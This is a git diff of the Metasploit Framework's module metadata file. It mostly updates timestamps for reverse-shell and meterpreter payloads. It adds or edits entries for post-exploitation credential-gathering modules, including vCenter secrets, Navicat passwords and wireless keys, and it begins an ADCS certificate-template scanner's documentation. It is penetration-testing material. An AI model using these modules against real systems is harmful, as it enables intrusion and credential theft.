"ref_name": "osx/x64/shell_bind_tcp",
@@ -190963,7 +191620,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/shell_find_tag.rb",
"is_install_path": true,
"ref_name": "osx/x64/shell_find_tag",
@@ -190997,7 +191654,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-12-15 00:05:42 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "osx/x64/shell_reverse_tcp",
@@ -191442,7 +192099,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/bind_perl.rb",
"is_install_path": true,
"ref_name": "php/bind_perl",
@@ -191477,7 +192134,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/bind_perl_ipv6.rb",
"is_install_path": true,
"ref_name": "php/bind_perl_ipv6",
@@ -191512,7 +192169,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/bind_php.rb",
"is_install_path": true,
"ref_name": "php/bind_php",
@@ -191547,7 +192204,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/bind_php_ipv6.rb",
"is_install_path": true,
"ref_name": "php/bind_php_ipv6",
@@ -191581,7 +192238,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/download_exec.rb",
"is_install_path": true,
"ref_name": "php/download_exec",
@@ -191615,7 +192272,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/exec.rb",
"is_install_path": true,
"ref_name": "php/exec",
@@ -191856,7 +192513,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-17 10:51:20 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "php/meterpreter_reverse_tcp",
@@ -191890,7 +192547,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/reverse_perl.rb",
"is_install_path": true,
"ref_name": "php/reverse_perl",
@@ -191924,7 +192581,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/reverse_php.rb",
"is_install_path": true,
"ref_name": "php/reverse_php",
@@ -191958,7 +192615,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/php/shell_findsock.rb",
"is_install_path": true,
"ref_name": "php/shell_findsock",
@@ -191992,7 +192649,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/stagers/python/bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/bind_tcp",
@@ -192027,7 +192684,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/stagers/python/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/bind_tcp_uuid",
@@ -192061,7 +192718,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-10 12:33:52 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/stagers/python/reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_http",
@@ -192095,7 +192752,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-10 12:33:52 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/stagers/python/reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_https",
@@ -192129,7 +192786,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/stagers/python/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_tcp",
@@ -192165,7 +192822,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/stagers/python/reverse_tcp_ssl.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_tcp_ssl",
@@ -192200,7 +192857,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/stagers/python/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "python/meterpreter/reverse_tcp_uuid",
@@ -192234,7 +192891,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-10-27 09:55:14 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_bind_tcp",
@@ -192268,7 +192925,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-10-27 09:55:14 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_http",
@@ -192302,7 +192959,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-10-27 09:55:14 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_https",
@@ -192336,7 +192993,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-10-27 09:55:14 +0000",
"mod_time": "2022-11-05 15:58:10 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_tcp",
@@ -192370,7 +193027,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/singles/python/pingback_bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/pingback_bind_tcp",
@@ -192404,7 +193061,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/singles/python/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/pingback_reverse_tcp",
@@ -192438,7 +193095,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/singles/python/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/shell_bind_tcp",
@@ -192472,7 +193129,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/singles/python/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/shell_reverse_tcp",
@@ -192506,7 +193163,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb",
"is_install_path": true,
"ref_name": "python/shell_reverse_tcp_ssl",
@@ -192540,7 +193197,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-08 10:26:27 +0000",
"path": "/modules/payloads/singles/python/shell_reverse_udp.rb",
"is_install_path": true,
"ref_name": "python/shell_reverse_udp",
@@ -192574,7 +193231,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/r/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "r/shell_bind_tcp",
@@ -192608,7 +193265,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/r/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "r/shell_reverse_tcp",
@@ -192642,7 +193299,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/ruby/pingback_bind_tcp.rb",
"is_install_path": true,
"ref_name": "ruby/pingback_bind_tcp",
@@ -192676,7 +193333,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/ruby/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "ruby/pingback_reverse_tcp",
@@ -192711,7 +193368,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/ruby/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "ruby/shell_bind_tcp",
@@ -192746,7 +193403,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb",
"is_install_path": true,
"ref_name": "ruby/shell_bind_tcp_ipv6",
@@ -192781,7 +193438,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/ruby/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "ruby/shell_reverse_tcp",
@@ -192815,7 +193472,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb",
"is_install_path": true,
"ref_name": "ruby/shell_reverse_tcp_ssl",
@@ -192849,7 +193506,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "solaris/sparc/shell_bind_tcp",
@@ -192883,7 +193540,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/solaris/sparc/shell_find_port.rb",
"is_install_path": true,
"ref_name": "solaris/sparc/shell_find_port",
@@ -192917,7 +193574,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "solaris/sparc/shell_reverse_tcp",
@@ -193495,7 +194152,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_hop_http",
@@ -193565,7 +194222,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_http_proxy_pstore",
@@ -193637,7 +194294,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_https_proxy",
@@ -194522,7 +195179,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_hop_http",
@@ -194594,7 +195251,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
"is_install_path": true,
"ref_name": "windows/dllinject/reverse_http_proxy_pstore",
@@ -195001,7 +195658,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/dns_txt_query_exec.rb",
"is_install_path": true,
"ref_name": "windows/dns_txt_query_exec",
@@ -195035,7 +195692,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/download_exec.rb",
"is_install_path": true,
"ref_name": "windows/download_exec",
@@ -195106,7 +195763,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-12-11 06:44:35 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/format_all_drives.rb",
"is_install_path": true,
"ref_name": "windows/format_all_drives",
@@ -195144,7 +195801,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/loadlibrary.rb",
"is_install_path": true,
"ref_name": "windows/loadlibrary",
@@ -195179,7 +195836,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-02-25 16:49:59 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/messagebox",
@@ -195602,7 +196259,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_hop_http",
@@ -195678,7 +196335,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_http_proxy_pstore",
@@ -195756,7 +196413,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
"is_install_path": true,
"ref_name": "windows/meterpreter/reverse_https_proxy",
@@ -198687,7 +199344,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/pingback_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/pingback_bind_tcp",
@@ -198721,7 +199378,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/pingback_reverse_tcp",
@@ -200901,7 +201558,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_hop_http",
@@ -200973,7 +201630,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_http_proxy_pstore",
@@ -201955,7 +202612,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/x64/exec.rb",
"is_install_path": true,
"ref_name": "windows/x64/exec",
@@ -201990,7 +202647,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/x64/loadlibrary.rb",
"is_install_path": true,
"ref_name": "windows/x64/loadlibrary",
@@ -202024,7 +202681,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-12-19 18:19:24 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/x64/messagebox.rb",
"is_install_path": true,
"ref_name": "windows/x64/messagebox",
@@ -203168,7 +203825,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-01-05 14:59:46 +0000",
"mod_time": "2022-11-04 00:33:03 +0000",
"path": "/modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/pingback_reverse_tcp",
@@ -205801,7 +206458,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-08-09 15:53:58 +0000",
"mod_time": "2022-11-21 00:46:44 +0000",
"path": "/modules/post/linux/gather/enum_network.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_network",
@@ -205854,7 +206511,7 @@
"needs_cleanup": null
},
"post_linux/gather/enum_psk": {
"name": "Linux Gather 802-11-Wireless-Security Credentials",
"name": "Linux Gather NetworkManager 802-11-Wireless-Security Credentials",
"fullname": "post/linux/gather/enum_psk",
"aliases": [
@@ -205865,7 +206522,7 @@
"author": [
"Cenk Kalpakoglu"
],
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from your target CLIENT Linux\n machine using /etc/NetworkManager/system-connections/ files.\n The module gathers NetworkManager's plaintext \"psk\" information.",
"description": "This module collects 802-11-Wireless-Security credentials such as\n Access-Point name and Pre-Shared-Key from Linux NetworkManager\n connection configuration files.",
"references": [
],
@@ -205875,7 +206532,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-11-21 00:28:34 +0000",
"path": "/modules/post/linux/gather/enum_psk.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_psk",
@@ -205883,6 +206540,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
@@ -206389,7 +207055,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2022-11-22 11:55:47 +0000",
"path": "/modules/post/linux/gather/tor_hiddenservices.rb",
"is_install_path": true,
"ref_name": "linux/gather/tor_hiddenservices",
@@ -206410,15 +207076,20 @@
"aliases": [
],
"rank": 0,
"rank": 300,
"disclosure_date": "2022-04-15",
"type": "post",
"author": [
"npm <npm@cesium137.io>"
"npm <npm@cesium137.io>",
"Erik Wynter",
"h00die"
],
"description": "Grab secrets and keys from the vCenter server and add them to\n loot. This module is tested against the vCenter appliance only;\n it will not work on Windows vCenter instances. It is intended to\n be run after successfully acquiring root access on a vCenter\n appliance and is useful for penetrating further into the\n environment following a vCenter exploit that results in a root\n shell.\n\n Secrets include the dcAccountDN and dcAccountPassword for\n the vCenter machine which can be used for maniuplating the SSO\n domain via standard LDAP interface; good for plugging into the\n vmware_vcenter_vmdir_ldap module or for adding new SSO admin\n users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with\n associated private keys are also plundered and can be used to\n sign forged SAML assertions for the /ui admin interface.",
"references": [
"URL-https://github.com/shmilylty/vhost_password_decrypt",
"CVE-2022-22948",
"URL-https://pentera.io/blog/information-disclosure-in-vmware-vcenter/",
"URL-https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb"
],
"platform": "Linux,Unix",
"arch": "",
@@ -206426,7 +207097,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-11-01 17:33:14 +0000",
"mod_time": "2022-11-19 10:33:31 +0000",
"path": "/modules/post/linux/gather/vcenter_secrets_dump.rb",
"is_install_path": true,
"ref_name": "linux/gather/vcenter_secrets_dump",
@@ -206438,11 +207109,10 @@
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
"ioc-in-logs"
]
},
"session_types": [
@@ -209269,6 +209939,54 @@
],
"needs_cleanup": null
},
"post_multi/recon/reverse_lookup": {
"name": "Reverse Lookup IP Addresses",
"fullname": "post/multi/recon/reverse_lookup",
"aliases": [
"post/windows/gather/reverse_lookup",
"post/windows/recon/resolve_ip"
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"mubix <mubix@hak5.org>"
],
"description": "This module reverse resolves an IP address or IP address range to hostnames.",
"references": [
],
"platform": "BSD,Linux,OSX,Solaris,Unix,Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-11-05 13:18:35 +0000",
"path": "/modules/post/multi/recon/reverse_lookup.rb",
"is_install_path": true,
"ref_name": "multi/recon/reverse_lookup",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
"post_multi/recon/sudo_commands": {
"name": "Sudo Commands",
"fullname": "post/multi/recon/sudo_commands",
@@ -211251,7 +211969,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-07-20 17:21:58 +0000",
"mod_time": "2022-11-29 21:28:15 +0000",
"path": "/modules/post/windows/gather/checkvm.rb",
"is_install_path": true,
"ref_name": "windows/gather/checkvm",
@@ -211259,9 +211977,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
@@ -212952,6 +213680,54 @@
],
"needs_cleanup": null
},
"post_windows/gather/credentials/navicat": {
"name": "Windows Gather Navicat Passwords",
"fullname": "post/windows/gather/credentials/navicat",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"HyperSine",
"Kali-Team <kali-team@qq.com>"
],
"description": "This module will find and decrypt stored Navicat passwords",
"references": [
"URL-https://github.com/HyperSine/how-does-navicat-encrypt-password",
"URL-https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-11-07 12:28:10 +0000",
"path": "/modules/post/windows/gather/credentials/navicat.rb",
"is_install_path": true,
"ref_name": "windows/gather/credentials/navicat",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter",
"shell"
],
"needs_cleanup": null
},
"post_windows/gather/credentials/nimbuzz": {
"name": "Windows Gather Nimbuzz Instant Messenger Password Extractor",
"fullname": "post/windows/gather/credentials/nimbuzz",
@@ -216051,7 +216827,7 @@
"author": [
"mubix <mubix@hak5.org>"
],
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n specified SID and target host.",
"description": "This module pulls a user's proxy settings. If neither RHOST or SID\n are set it pulls the current user, else it will pull the user's settings\n for the specified SID and target host.",
"references": [
],
@@ -216061,7 +216837,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-12-04 15:10:47 +0000",
"path": "/modules/post/windows/gather/enum_proxy.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_proxy",
@@ -216069,9 +216845,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -217318,42 +218105,6 @@
],
"needs_cleanup": null
},
"post_windows/gather/reverse_lookup": {
"name": "Windows Gather IP Range Reverse Lookup",
"fullname": "post/windows/gather/reverse_lookup",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"mubix <mubix@hak5.org>"
],
"description": "This module uses Railgun, calling the gethostbyaddr function to resolve a hostname\n to an IP.",
"references": [
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"path": "/modules/post/windows/gather/reverse_lookup.rb",
"is_install_path": true,
"ref_name": "windows/gather/reverse_lookup",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/gather/screen_spy": {
"name": "Windows Gather Screen Spy",
"fullname": "post/windows/gather/screen_spy",
@@ -219301,7 +220052,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-12-04 17:41:24 +0000",
"path": "/modules/post/windows/manage/sticky_keys.rb",
"is_install_path": true,
"ref_name": "windows/manage/sticky_keys",
@@ -219542,42 +220293,6 @@
],
"needs_cleanup": null
},
"post_windows/recon/resolve_ip": {
"name": "Windows Recon Resolve IP",
"fullname": "post/windows/recon/resolve_ip",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"mubix <mubix@hak5.org>"
],
"description": "This module reverse resolves a range or IP to a hostname",
"references": [
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"path": "/modules/post/windows/recon/resolve_ip.rb",
"is_install_path": true,
"ref_name": "windows/recon/resolve_ip",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/wlan/wlan_bss_list": {
"name": "Windows Gather Wireless BSS Info",
"fullname": "post/windows/wlan/wlan_bss_list",
@@ -0,0 +1,453 @@
## Vulnerable Application
This module allows users to query a LDAP server for vulnerable certificate
templates and will print these certificates out in a table along with which
attack they are vulnerable to and the SIDs that can be used to enroll in that
certificate template.
Additionally the module will also print out a list of known certificate servers
along with info about which vulnerable certificate templates the certificate server
allows enrollment in and which SIDs are authorized to use that certificate server to
perform this enrollment operation.
Currently the module is capable of checking for ESC1, ESC2, and ESC3 vulnerable certificates.
### Installing ADCS
1. Install ADCS on either a new or existing domain controller
1. Open the Server Manager
1. Select Add roles and features
1. Select "Active Directory Certificate Services" under the "Server Roles" section
1. When prompted add all of the features and management tools
